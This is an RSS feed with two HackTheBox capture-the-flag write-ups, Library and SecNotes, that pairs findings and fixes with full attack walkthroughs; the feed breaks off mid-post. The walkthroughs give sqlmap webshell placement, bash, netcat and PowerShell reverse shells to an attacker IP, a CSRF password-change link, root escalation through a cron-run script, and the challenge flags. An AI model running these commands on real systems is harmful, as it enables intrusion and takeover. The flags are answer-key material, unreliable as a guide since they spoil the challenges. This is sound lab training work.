<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by 13xch on Medium]]></title>
        <description><![CDATA[Stories by 13xch on Medium]]></description>
        <link>https://medium.com/@13xch?source=rss-43f19163806c------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*dxnaT9k1fISEwnoQgCLpqg.jpeg</url>
            <title>Stories by 13xch on Medium</title>
            <link>https://medium.com/@13xch?source=rss-43f19163806c------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sat, 21 Nov 2026 11:13:53 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@13xch/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[HacktheBox Write up — Library]]></title>
            <link>https://13xch.medium.com/hackthebox-write-up-library-db99b9a19bb8?source=rss-43f19163806c------2</link>
            <guid isPermaLink="false">https://medium.com/p/db99b9a19bb8</guid>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[hackthebox]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[learning-to-code]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <dc:creator><![CDATA[13xch]]></dc:creator>
            <pubDate>Thu, 15 Feb 2024 00:44:14 GMT</pubDate>
            <atom:updated>2024-02-15T00:44:14.289Z</atom:updated>
            <content:encoded><![CDATA[<h3>HacktheBox Write up — Library</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/567/1*ozOnS58a8UGoyeQ-E0Nkvw.png" /></figure><blockquote>HTB Walkthrough at Bottom</blockquote><h3>Key Takeaways</h3><p>A relatively simple machine to own, the attacking party took advantage of a misconfigured SQL query using a tool (sqlmap) and modified it to place files on the machine through an injection attack (See Ref 1.2).</p><p>Then, the attacking party modified a file ran as root every 5–10 minutes to spawn a shell, as the service permissions for this script were not properly configured, and the file was able to be edited by any user on the machine (See Ref 1.3).</p><h3>Vulnerabilities</h3><h4>1.2 SQL Injection</h4><h4>Risk</h4><p>This vulnerability entailed the ability of the attacking party to capture a request in the search function to the machine (on the webserver) and modify the search value being passed.</p><p>While manual injection was not achieved, the tool “sqlmap” found the query/database vulnerable to injection, which allowed the attackers to place a shell.php file that allowed for RCE, and therefore the ability to spawn a reverse shell back to the machine, granting an initial point of entry.</p><h4>Recommendations</h4><p>To protect against this, simple user input sanitization is required. Disallowing special characters, line breaks, and anything else that would not be needed to search for a title of a book or an author is advised, as this was utilized to input malicious commands. This article is a great guide on some of the industry best practices to guard against this kind of <a href="https://www.webopedia.com/definitions/input-sanitization/#:~:text=This%20can%20be%20done%20in%20three%20ways%3A%201,in%20order%20not%20to%20be%20seen%20as%20codes.">attack</a>.</p><h4>1.3 Modification of Script ran as Administrator</h4><h4>Risk</h4><p>When looking to escalate privileges, there was a directory on the root level of the machine called “Scripts,” which held one file that when executed, moved all files from /orders to the administrator documents folder, as user root.</p><p>After looking at icacls, all users were able to modify this file, letting our authenticated user modify it to point to a reverse shell script previously put on the machine, spawning a shell as root user.</p><h4>Recommendations</h4><p>This is a simple fix, use icacl /grant to only allow modification of this file to specific users.</p><p>This can also be prevented by creating a service account to run this script, rather than user root.</p><p>Windows documentation has great resources on how to create users.</p><h3>Attack Path</h3><h4>Enumeration</h4><p>To begin, we ran an nmap scan on this box, as we typically do. This shows us what ports and services are available and running on this target machine. To make this easier, we used zenmap, a GUI for nmap.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/979/1*ZTif0UzVdJJKPPXdm2TTSQ.png" /></figure><p>From this output, we see a few different services running on the machine. We began with the port 80 service, starting our dirbuster scan and navigating to the page in our browser.</p><h4>Port 80 Enumeration</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/979/1*_k8EMQcfoV2Xi2MRr9M1sQ.png" /></figure><p>At first glance, it appears to be a library inventory status software.</p><p>There were several user inputs that could be taken, including the search bar, as well as the order page:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/505/1*kPrkrvX67IzgplMrGj4yxA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/396/1*Afa8y-dwjSZLH2V6zEpcAA.png" /></figure><p>We also took note of some of the technologies and frameworks that made up the technology stack of the website.</p><p>Poking around in the dirbuster results showed many forbidden pages:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/699/1*-wRjgrBhdnbFISEUPjGMUQ.png" /></figure><p>The page source did not reveal anything of that much interest either.</p><p>Clicking “search” with an empty search field pulled up some of the books that were stored, though none of them were interactable.</p><p>The order page accepted our input of all “test” values.</p><p>To see what was being sent to the server, we opened a search request in Burp.</p><h3>Burp Analysis</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/704/1*iKtHNcYMR_4jVKbDrRoq_g.png" /></figure><p>We entered “search value” as our search, and it is interesting to us that it was not URL encoded, and a space was left between the values.</p><p>To test the output, we sent this, and a blank array was returned.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/256/1*hoGZrPbKP0F1PtrvS4fxDQ.png" /></figure><p>We decided to send an empty search field to see what would be returned.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/636/1*pHABWQFhOdOU5msC7UtHKA.png" /></figure><p>As expected, a populated array of every object in the source table was fetched.</p><h3>Injection Attack</h3><p>Since we assumed that whatever we entered was querying a table holding the books, we decided it could be possible to inject something malicious to output something else.</p><p>We took to the literal drawing board to come up with a search item to pass that would output something else:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/517/1*3EgRd58mtRC1saOYx2fyVg.png" /></figure><p>In the above image, we came up with:</p><pre>junk&#39;; select * from users;</pre><p>When we passed this, we got the following output:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/979/1*QsbpFAl46ULgoIFSZGg1gw.png" /></figure><p>This tipped us off to a bit of how the books were being pulled, with a getbooks.php.</p><p>Our next try was to pass a command, rather than a SQL query.</p><p>We tried a simple “whoami”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/979/1*eUKoAte30TTUb-T3WoWMLA.png" /></figure><p>This did not work, and we were given the same error as before.</p><p>After trying to manually modify the packet for a while, we tried out the tool “sqlmap.”</p><p>To use this tool, we entered the following command:</p><pre>sqlmap -u http://10.129.96.2/getbooks.php --data &#39;search=a&#39; --file-read=&#39;/xampp/htdocs/getbooks.php&#39;</pre><p>We could specify the function to work off since we knew it from our Burp testing we performed “getbooks.php”</p><p>We set the –file-read flag to output the contents of this php script.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*dTvdVmf_yZ99JYV09Mkj-A.png" /></figure><p>It looked like we successfully got the contents of this file, so we output it on our local machine:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/694/1*UYdkbqy5vHi3SmeG90wyOg.png" /></figure><p>Now we could analyze this and see what it was doing.</p><p>It appeared as though our attempts were not working because it was more complex of a query than we had assumed.</p><p>We could either try to craft a query here, or we could use the -file — read flag again on another file on the machine to save time, which it what we did.</p><p>Knowing that there was a /xampp/htdocs/ directory present, we checked for a config.php file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*5tUDs6rkaHeB9HfJtpbT_Q.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*3IjY2AWnaOV4mX7jx2yl_A.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/712/1*wRHitu9ZIgcYldJErCt3Rw.png" /></figure><p>Good news, we found the locally hosted database, as well as its username and password.</p><p>Since in our nmap scan we found a mysql service, we tried accessing it using this.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/538/1*eh5--perXrKuANq8KEy7ng.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*MNg-JPvXfdAV0Mfq_DRxWQ.png" /></figure><p>Unfortunately, we were unable to connect with our IP.</p><p>We had to go back to the sqlmap tool we were using to write a file, using the –file-write flag.</p><h4>Obtaining RCE</h4><p>To do this, we first had to create a PHP webshell command that we could write to the database (/orders, where the books were being stored and then queried from).</p><p>To do this, we created shell.php file on our local machine holding:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/427/1*zjmxKy9tclinmjD48Rnitw.png" /></figure><p>Then, we ran the following command to ensure the file placement:</p><pre>sqlmap -u http://10.129.96.2/getbooks.php — data ‘search=a’ — file-write=shell.php — file-dest=/xampp/htdocs/orders/shell.php</pre><p>Now, we could try to curl this new shell.php file in orders:</p><pre>curl -G http://10.129.96.2/orders/shell.php — data-urlencode “cmd=whoami” -o-</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*Sj_EP5ytniZfkn8rRDyHCA.png" /></figure><p>This was great news, as we had obtained RCE.</p><p>We could now place a reverse shell php script on the machine, similar to how we placed the shell.php, and then execute it with our RCE.</p><p>To do this, we placed the following command in a new file “revshell.php” on our local machine:</p><pre>bash -c ‘bash -i &gt;&amp; /dev/tcp/10.10.14.8/4444 0&gt;&amp;1’</pre><p>We then ran a similar command as before to place the file in /orders.</p><pre>sqlmap -u http://10.129.96.2/getbooks.php — data ‘search=a’ — file-write=revshell.php — file-dest=/xampp/htdocs/orders/revshell.php</pre><p>Now, we could start our netcat listener and execute the file.</p><p>When we tried, this, it seemed as though our file had been deleted, and we could not access either file.</p><p>We ran the command to place the shell.php again, and then checked that it was there again.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*UzVNwF4EFWF_--K-c48B-w.png" /></figure><p>We also checked to see what files were present, and our revshell.php was there as well.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/741/1*vrn0fFMM1A9dmz9tH8OnZQ.png" /></figure><p>So, again we tried to execute the revshell.php script:</p><pre>curl -G http://10.129.96.2/orders/shell.php — data-urlencode “cmd=revshell.php” -o-</pre><p>While the terminal did show signs of connection, our netcat listener did not receive any communications.</p><p>We also had to put shell.php back on after this, and then verified it again:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*_5KriTMqb5vpSmp384Hblw.png" /></figure><p>It seemed as though something was deleting the files we placed.</p><p>We tried using “wget” on the file hosted off our local machine, rather than the sqlmap tactic we’d been using.</p><p>We stood up an http server and used the following command on our RCE tactic:</p><pre>curl -G http://10.129.96.2/orders/shell.php — data-urlencode “cmd=wget http://10.10.14.8:80/revshell.php&quot; -o revshell.php</pre><p>However, when we check our http server:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/747/1*pL8L5l7YvI_ej47AlLA3Eg.png" /></figure><p>No communications were received.</p><p>Since we couldn’t seem to execute our revshell.php, we had to go back a step.</p><p>We had to look at Nishang’s powershell reverse shell script, and place it on the machine.</p><p>We first grabbed it on our local machine:</p><pre>wget https://raw.githubusercontent.com/samratashok/nishang/master/Shells/Invoke-PowerShellTcp.ps1</pre><p>Next, we had to append a command at the bottom that would execute the shell with our IP and listening port:</p><pre>echo “Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.8 -Port 4444” &gt;&gt; Invoke-PowerShellTcp.ps1</pre><p>Now, we could stand up another HTTP server here and grab it.</p><p>Now, we could simply use our RCE to grab it, which would in turn, execute it, spawning a shell on our netcat listener:</p><pre>curl -G http://10.129.96.2/orders/shell.php — data-urlencode “cmd=powershell iex(iwr http://10.10.14.8/Invoke-PowerShellTcp.ps1 -useb)”</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*ifOtkUROdP7WI07sAIo9SQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/442/1*AWdMIVJBj6bykHlL2Zld4g.png" /></figure><h4>Shell as web</h4><p>Now that we had a shell as user “web,” we could poke around.</p><p><strong>User flag</strong>: b7d90cdff2a7e194336ed8dfbd6e1612</p><p>Our next goal was to place WinPeas on the machine and execute it, which would show us some possible vectors of attack to escalate our privileges. It seemed as though this might be a direct hop to root, as there were no other users with home directories other than administrator.</p><p>Before this, we ran netstat to see what was running on the machine, but they were all from our IP.</p><p><em>Note: Our connection timed out a few times, so we had to place shell.php back on the machine in /orders, and then execute the powershell command again to grab the Nishang reverse shell file.</em></p><p>We also ran whoami /priv, an equivalent of sudo -l, to see what we could run:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/786/1*kxT28cYh7wBGBqtJX7V9aA.png" /></figure><p>After trying different things for a long time, we were forced to manually check for privilege escalation vectors.</p><p>Back on the root directory, we noticed something that is not typically there, a directory “scripts.”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/693/1*n6W1uegh8aYuSBlW1O5Jhw.png" /></figure><p>In this was one file, “store.ps1”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/867/1*GBpN6KdNmKDq7qwG0LnfXA.png" /></figure><p>This is what was clearing the files we were putting in /orders.</p><p>It seemed as though everything put into /orders would be moved to administrator documents over time for review.</p><p>We could not directly access this directory, as it was protected, being in the administrator directory.</p><p>Our goal here was to see if we could edit this script, modifying it to include a reverse shell, which would get executed as root and call back to our local machine.</p><p>To do this, we would first start a netcat listener on a new port (1234), and run a similar command as we did before to modify the script:</p><pre>echo “iex(iwr http://10.10.14.8/Invoke-PowerShellTcp.ps1 -useb) | iex” &gt; store.ps1</pre><p>Now we had to wait for the script to run again, as it seemed as though from before it was on a regularly timed interval.</p><p>When it didn’t spawn a shell, the command was entered again on the existing shell, this time not specifying a port, and then the existing shell was closed and restarted:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*miQtuttgEvlGH-9NGvqe5A.png" /></figure><p>After a while, the listener was hit, and spawned a shell as root user.</p><p><strong>Root flag</strong>: d391de6e498003a18e04777771ae0f27</p><h3>Keywords</h3><p>Ethical hacking case study, Penetration testing findings, HTB box analysis, Vulnerability assessment report, HTB answers, Cybersecurity testing insights, Hack The Box report, Penetration tester’s analysis, HTB challenge resolution, Ethical hacking techniques, Security assessment report, Hacker’s perspective on HTB, Network penetration testing, Exploitation and remediation, Hack The Box success story, Ethical hacking best practices, Vulnerability identification, Real-world hacking scenario, Penetration testing case study, Practical hacking lessons, htb library, htb included</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/319/1*4S6Cc08GnUi7xPaDtsJnkQ.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=db99b9a19bb8" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[HacktheBox Write up — SecNotes]]></title>
            <link>https://medium.com/infosec-watchtower/hackthebox-write-up-secnotes-f235ce8c4018?source=rss-43f19163806c------2</link>
            <guid isPermaLink="false">https://medium.com/p/f235ce8c4018</guid>
            <category><![CDATA[hackthebox]]></category>
            <category><![CDATA[learn-to-code]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[hacking]]></category>
            <dc:creator><![CDATA[13xch]]></dc:creator>
            <pubDate>Thu, 01 Feb 2024 22:55:09 GMT</pubDate>
            <atom:updated>2024-02-01T22:55:09.817Z</atom:updated>
            <content:encoded><![CDATA[<h3>HacktheBox Write up — SecNotes</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/846/1*n_IKVYIDlya39Ft3p2_YVg.png" /></figure><blockquote>HTB Walkthrough at Bottom</blockquote><h3>Key Takeaways</h3><p>This machine involved an exploit of a poorly created user account creation system (See Ref 1.2) along with a member of the organization who was not trained to not click any link they did not know the purpose/origin of (See Ref 1.3). After initial access had be attained, there were multiple passwords stored in plaintext on the machine, which escalated privileges multiple times (See Refs 1.4 and 1.5).</p><h3>Objectives</h3><p>Obtain the user flag by gaining any kind of remote access to the target machine/environment and extract the “user flag” string of characters, then escalate privileges, often to the “root” user or system owner to then get the “root flag,” typically only accessible by this user.</p><h3>Findings</h3><h4>1.1 Nmap Scan</h4><p>The target machine was susceptible to having an nmap scan run against it.</p><p>“Nmap, a key tool in penetration testing, is used to discover hosts and vulnerabilities by probing network services. The official Nmap documentation <a href="https://nmap.org/book/">https://nmap.org/book/</a> outlines its methodology, involving packet transmission and response analysis. While invaluable for identifying weaknesses, Nmap scans carry risks, potentially triggering security alerts and revealing the penetration test. Balancing its significance and associated risks is crucial for a successful penetration testing strategy.”</p><h4>Risk</h4><p>There are multiple risks associated with allowing an nmap scan to go undetected/unprevented. It can allow a threat actor to map out the network and gain more information about the infrastructure, operating system, and other services running on the network/machine. Any information that an attacker can get from their “discovery” phase is useful to them, and limiting the publicly facing interfaces that an attacker can encounter is a good idea.</p><h4>Recommendations</h4><p><a href="https://www.ciscopress.com/articles/article.asp?p=469623&amp;seqNum=5#:~:text=As%20explained%20earlier%2C%20NMap%20is%20a%20tool%20of,to%20protect%20against%20NMap%20scans%20involves%20several%20components.">There are ways to prevent, or at a minimum, detect an nmap scan or other network mapping scan performed against a network</a>:</p><p>· Intrusion Detection</p><p>IDSs are similar to home security systems (burglar alarms) that monitor entry or breach into your home or office. Like the home security systems, IDSs log an alarm entry into the network. Unlike most home systems, however, you can configure an IDS to actually fight back with TCP RSTs and SHUN commands in the efforts to stop further entry or damage to the network. Location it critical with these systems, just like a standard security camera is to a security guard. That is why most IDSs are located where they can see as much traffic as possible.</p><p>· Anomaly Detection Systems</p><p>Anomaly detection systems (also called profile-based detection systems) are designed to watch user or network profiles. For example, an anomaly detection system alarms if it notices a network that normally is at 30 percent utilization peak up to 90 percent for a long period.</p><p>· Misuse Detection System</p><p>Misuse detection uses pattern matching. These systems contain a database of hundreds of patterns and signatures that are used to match with traffic on a network cable. You can compare misuse detection to standard disk antivirus software, where the antivirus software scans your hard drive looking for patterns in programs and files that represent malicious alterations. Misuse detection reads frames and packets off a cable instead of a hard drive. These are the most commonly used detection systems today. However, they can quickly become out of date as new attacks emerge that are not within the signature database.</p><h4>1.2 No Validation of New Account Creation</h4><h4>Risk</h4><p>When looking at the webpage in the beginning, we were met with a login screen, and when no credentials worked, all we did to gain access was create a new account. This gave us access without any sort of validation of user verification.</p><p>This can be a risk because it lacks non-repudiation and other core tenets of web-app security, as there was no way to confirm the user, and the account was given immediate standard access to the site, and a user could be anonymous on the site, as not much information about the user was gathered, other than a username and password.</p><h4>Recommendations</h4><p>To guard against this, it is recommended that for a blogging site, users have to enter some personal information that is verified before the account is given full access. This is as simple as including an email verification system, in which an email has to be input by the new user, and a code or link is send to that email, or implementing functionality of an admin accepting new account creation based on what the user entered.</p><h4>1.3 XSRF — Fake Packet sent to User Account</h4><h4>Risk</h4><p>On the blogging site, there was an option to send a message to user “tyler,” which we entered a URL that when clicked, took the sessionID of the user navigating to it and passed along new information that changed the user that clicked it’s password.</p><p>This is a huge risk, as any malicious link could have been sent, including a link to a website that automatically downloads a virus or a worm.</p><h4>Recommendations</h4><p>It is possible to “code” against this attack, though it is a better idea for the user who these chats are submitted to simply not click any link that is sent to them. Organization wide training should be done on cybersecurity, including phishing training/simulation, and learning to not click random links, especially coming from people outside of the organization.</p><p>There are groups and third party sources that will provide this training, such as this <a href="https://get.ninjio.com/lp6-2?utm_source=bing&amp;utm_medium=cpc&amp;utm_campaign=BDDGsecurityawareness&amp;msclkid=a0486c96cfc11ece230a092ad4ad5dd8">group</a>.</p><h4>1.4 SMB Password in Plaintext</h4><h4>Risk</h4><p>Once the password for user “tyler” was changed to “password,” the attacking team was able to access the view of tyler, in which a note for the blog post was stored that contained the information for the “new site,” including the name of the SMB share and the password for user tyler.</p><p>This is a huge security risk because storing passwords in plaintext to anything on a live webserver will always hold a risk, as that takes away much of the guesswork for an attacker.</p><h4>Recommendations</h4><p>Simply removing the password from being held online is the best route to mitigate this risk. It would be better to keep a password in a password manager or even a sticky note on a desk, rather than storing it <a href="https://us.cybernews.com/lp/best-password-managers-us/?utm_source=bing&amp;utm_medium=cpc&amp;utm_campaign=Bing_CN_PM_S_T1_US_G-B_All-Lang&amp;utm_content=82669896208215&amp;utm_term=best%20password%20manager&amp;utm_id=414415436&amp;campaignId=414415436&amp;adgroupId=1322713715420697&amp;adId=82669896208215&amp;targetId=kwd-82670572028797:loc-4096&amp;device=c&amp;munique=40886182ea721676c8f7043ef6553e50&amp;source=bing&amp;medium=cpc&amp;campaign=Bing_CN_PM_S_T1_US_G-B_All-Lang&amp;content=82669896208215&amp;term=best%20password%20manager&amp;msclkid=40886182ea721676c8f7043ef6553e50">online</a>.</p><h4>1.5 Administrator password stored in .bash_history</h4><h4>Risk</h4><p>Similar to the last finding, when the attacking team had gained a shell as user “tyler,” they were able to navigate through the ubuntu subsystem on the machine, which included a .bash_history file which included a log of bash commands, and in this log was a command to access the root SMB share of the server with administrative credentials.</p><p>This is a risk because the attacking team was able to run the exact same command, as the password was stored in plaintext, and gain administrative access to the root smb share.</p><h4>Recommendations</h4><p>Clearing bash history, especially when available to any user, is necessary.</p><p>This can be done manually, every time a user enters sensitive information or logs out, with:</p><p>cat /dev/null &gt; ~/.bash_history &amp;&amp; history -c</p><p>This can also be automated with the following crontab:</p><p># Clear bash history everynight at 11pm</p><p>00 23 * * * cat /dev/null &gt; ~/.bash_history</p><h3>Attack Path</h3><h4>Enumeration</h4><p>To begin, we ran an nmap scan on this box, as we typically do. This shows us what ports and services are available and running on this target machine. To make this easier, we used zenmap, a GUI for nmap.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*JD7mSlKV701yHxkC7pimHA.png" /></figure><p>It also appeared to us that the target machine was running Windows XP|7.</p><p>Since we had a port 80 http service to enumerate, we also began our dirbuster directory scan.</p><p>While this ran, we began our enumeration of the webpage itself in our browser.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/549/1*UHd4DYx9fkISnmHwtFtEiw.png" /></figure><p>The landing page was /login.php and had a simple authentication screen. We tried some defaults, but it returned with no account found with said username.</p><p>From this page, we were actually able to create a user “testuser:password” that we could sign in with.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/979/1*Ro5DiSc-xeyIY6PHMQJ3dg.png" /></figure><p>Before we poke around more, we wanted to know what we could expect to find, and by this time our dirbuster scan had finished.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/815/1*Wr07YqYAKW9u2l1_xKGiFg.png" /></figure><p>There were about 4 other webpages we hadn’t seen yet. The one that stood out the most was db.php.</p><p>When we tried to navigate to this page:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/865/1*QYron2tSsBCxo_bfxePgWw.png" /></figure><p>This probably had to do with the port 445 service running, which was used for an SMB service.</p><p>After clicking around some more, there were many boxes that accepted user input, so it seemed that our initial point of entry would be some kind of malicious injection, we just had to find out the best way to go about it.</p><h4>Initial Foothold</h4><p>On the contact page, we took note of a known username, being “tyler.”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/344/1*7Wk4N1tkIbFPWLHz71M91A.png" /></figure><p>Always of interest is the change password function, so we captured a request in burp to see what was being sent.</p><p>Of note on the change password page is the missing “confirm current password” option, so it is possible to change the password of an account that you do not know the password of when entering it.</p><p>In burp, the packet looked like:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/711/1*yaxwnHxmPkw7PfvK2qI9qw.png" /></figure><p>It seemed as though all it passed was the PHPSESSID and the details for the new password.</p><h4>XSRF</h4><p>Since we could send a note to tyler@secnotes, we could try to send a malicious request, that when clicked, would send a malicious packet that directed to /change_pass.php along with a payload configured, changing the password to something we know.</p><p>To test this theory of it a link we passed would be clicked, we start a netcat listener on port 80 on our local machine and passed along our local machine’s IP with port 80 to see if we would get any kind of hit.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/896/1*pFG7ARAYQK6ibkHM6nP8xQ.png" /></figure><p>Our theory was correct, so we could continue with our strategy of sending the target’s IP with the change password webpage specified and the parameters set to change the password, which would auto-populate with the user “tyler” PHPSESSID.</p><p>With our already crafted packet, we took the URL from it:</p><pre>http://10.129.233.238/change_pass.php?password=newpassword&amp;confirm_password=newpassword&amp;submit=submit</pre><p>Assuming that “tyler” would click the link, it would change his password from whatever it was to “newpassword,” and we could try to login with this new password to account “tyler.”</p><p>We entered this in the chat input:</p><pre>http://10.129.233.238/change_pass.php?password=newpassword&amp;confirm_password=newpassword&amp;submit=submit<br>http://10.10.14.8/</pre><p>This would change the password, then notify us when complete, as it would hit our webserver.</p><p>This hit our webserver, though the user’s password was not changed.</p><p>We tried entering the following message again:</p><pre>http://10.129.233.238/change_pass.php?password=password&amp;confirm_password=password&amp;submit=submit<br>http://10.10.14.8</pre><p>We got another successful hit on our http server, so we checked again to sign in with password “password”</p><p>This did not work either.</p><p>None of these worked, so we assumed that the webserver would be hosted on the same host that user tyler was acting on, so we tried:</p><pre>http://localhost/change_pass.php?password=password&amp;confirm_password=password&amp;submit=submit<br>http://10.10.14.8</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/979/1*8SEZBPEo6ksxXIJxu65I7w.png" /></figure><p>This worked.</p><p>We saw a few notes:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/928/1*30aijI1lLu469aVYv1x-BQ.png" /></figure><p>The last one looked to be credentials for the smb share hosted on the machine.</p><h4>SMB Access</h4><p>Since we had the credentials, we could use smbmap to see what we were looking at.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/808/1*MVUwpciRU-qhN1iNrQDdPw.png" /></figure><p>The new-site looked interesting, and this user had read and write access.</p><p>To access this, we used smbclient.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/791/1*c2-j0MVkjDMdpOTWiRMSGg.png" /></figure><p>Since we had read and write access, we could try putting a reverse shell on this SMB share and then calling it by curling it.</p><p>To do this, we had to achieve some kind of RCE, so we first put a simple command execution script:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/494/1*Vd_pqMgvnmGdoHlFLravOg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*5Qc0BYQYoFVO_jwBF1SF6g.png" /></figure><p>We then had to put a copy of netcat on the machine that we could execute passed along with our cmd.exe we put on the machine.</p><p>To do this, we checked where our nc.exe was on our local machine.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/586/1*wluhgB9zk07LCAOUO8XlEA.png" /></figure><p>We then put it on the smb share.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*WxJoBxwSc2NyQriEZK2zYg.png" /></figure><p>From here, we could curl it and pass a command to hit back our netcat listener on our local machine.</p><p>This did not work, as we saved the rce.php as rce.exe, not a php script.</p><pre> curl http://10.129.233.238:8808/rce.exe?cmd=nc.exe+-e+cmd.exe+10.10.14.8+4444</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/876/1*d-v0IixuTES0Ie27TMwSig.png" /></figure><p>This also did not work, as the file was not found. We changed the rce.exe to rce.php, though our netcat listener did not get a hit.</p><p>We checked the smbshare again to see if our files were being placed:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/964/1*Onh_k-yrCTtWwARS_yAcyQ.png" /></figure><p>Nothing was found.</p><p>We tried a different path. Since we knew this was hosted on port 8808, we could upload a command execute script:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/469/1*jhwjyQoR26hKw4q6ELV-kg.png" /></figure><p>From here, we put this on the share and then tried to access it in our browser with ?cmd=id</p><p><strong>Note: We named it secrce.php, as the first try didn’t work, so secrce.php takes place of cmd.php.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/979/1*Da3dls-KYBsRoV6hwER8eQ.png" /></figure><p>Since we had achieved RCE, we could now try to get a reverse shell.</p><p>We grabbed a php reverse shell:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/582/1*0yao14cQyT-Wy2OiHsXoJg.png" /></figure><p>We had also already moved nc.exe over, so we checked that both of our files were there:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/794/1*Z00Mn74Ovj6e4qk-PrbMfw.png" /></figure><p>When we exit this and go back in, we notice that our files were cleaned:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/768/1*wn7QRxvczTqvrVq4QfNfbw.png" /></figure><p>We were unsure if there was something that removed new files on a timer, so we put the two files back on and moved fast.</p><p>We then navigated to IP:8808/phprevshell.php and checked our listener:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/650/1*furd9nT69Q2AiLsXiB6AOA.png" /></figure><h4>Shell as Tyler</h4><p><strong>User flag</strong>: 21040275703adaef6ae5817ac80069a7</p><p>Poking around the machine, we found an Ubuntu.zip present, which means there could be another operating system running on the host.</p><h4>Privilege Escalation</h4><p>Since it is possible that Ubuntu was installed on the machine (or that Windows was installed on an Ubuntu machine), we could try to execute a bash command.</p><p>To see where bash.exe was stored, we ran the following command to locate it:</p><pre> where /R c:\ bash.exe</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*LTjkWiUYPqKo4Buwngr6hQ.png" /></figure><p>We found that it was located at:</p><pre>c:\Windows\WinSxS\amd64_microsoft-windows-lxss-bash_31bf3856ad364e35_10.0.17134.1_none_251beae725bc7de5\bash.exe</pre><p>We simply entered the file path:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*KVLN3GklsDuVGThGMlf9zA.png" /></figure><p>From here, we spawned our TTY shell with:</p><pre>python -c &#39;import pty;pty.spawn(&quot;/bin/bash&quot;)&#39;</pre><figure><img alt="" 